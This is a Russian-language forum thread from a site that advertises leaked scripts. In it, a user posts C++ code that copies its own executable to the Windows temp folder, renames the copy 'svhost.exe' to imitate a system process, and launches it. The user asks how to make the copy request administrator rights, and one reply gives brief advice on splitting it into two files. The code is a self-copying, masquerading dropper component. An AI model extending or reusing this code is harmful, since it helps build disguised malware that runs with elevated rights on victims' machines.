Читайте описание | End Way - форум программирования и сливов различных скриптов
  • Присоединяйтесь к нам в телеграм канал! EndWay канал | EndSoft канал | EWStudio канал
  • Хочешь поставить скрипт, но не умеешь?
    А может ты хочешь свой скрипт на основе слитого?

    Тогда добро пожаловать в нашу студию разработки!

    Телеграм бот: EWStudioBot
    Телеграм канал: EWStudio

Читайте описание

Статус
В этой теме нельзя размещать новые ответы.

ZenFro

Джун
Автор темы
7 Мар 2023
1
0
0
У меня есть код, который копирует себя во временные файлы и переименовывается. Как мне сделать так, чтобы он запускался от имени администратора, то есть скрипт запускался, копировался и выдавал пользователю запрос на запуск файла от имени администратора?
c++:
#include <Windows.h>
#include <iostream>
#include <string>

int main()
{
    wchar_t exePath[MAX_PATH];
    GetModuleFileName(NULL, exePath, MAX_PATH);

    wchar_t tempPath[MAX_PATH];
    if (GetTempPathW(MAX_PATH, tempPath))
    {
        std::wstring sourceFilePath = exePath;
        std::wstring destinationFilePath = std::wstring(tempPath) + L"\\" + std::wstring(exePath).substr(std::wstring(exePath).rfind(L"\\") + 1);
        if (!CopyFileW(sourceFilePath.c_str(), destinationFilePath.c_str(), FALSE))
        {
            std::cerr << "Failed to copy file to temporary folder" << std::endl;
            return 1;
        }
        std::wstring newName = L"svhost.exe";
        std::wstring newFilePath = std::wstring(tempPath) + L"\\" + newName;
        if (!MoveFile(destinationFilePath.c_str(), newFilePath.c_str()))
        {
            std::cerr << "Failed to rename file" << std::endl;
            return 1;
        }

        STARTUPINFOW si = { 0 };
        si.cb = sizeof(si);
        PROCESS_INFORMATION pi = { 0 };
        if (!CreateProcessW(newFilePath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
        {
            std::cerr << "Failed to launch the executable file" << std::endl;
            return 1;
        }
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else
    {
        std::cerr << "Failed to get temporary folder path" << std::endl;
        return 1;
    }

    return 0;
}
 

TexasSCAM

Сеньор
DEVELOPER
29 Июн 2023
191
40
28
В данном случае я советую сделать 2 файла, первый будет без административных прав, второй будет выдавать ошибку permission denied, если сделать все не от рута.
 
Статус
В этой теме нельзя размещать новые ответы.
Активность:
Пока что здесь никого нет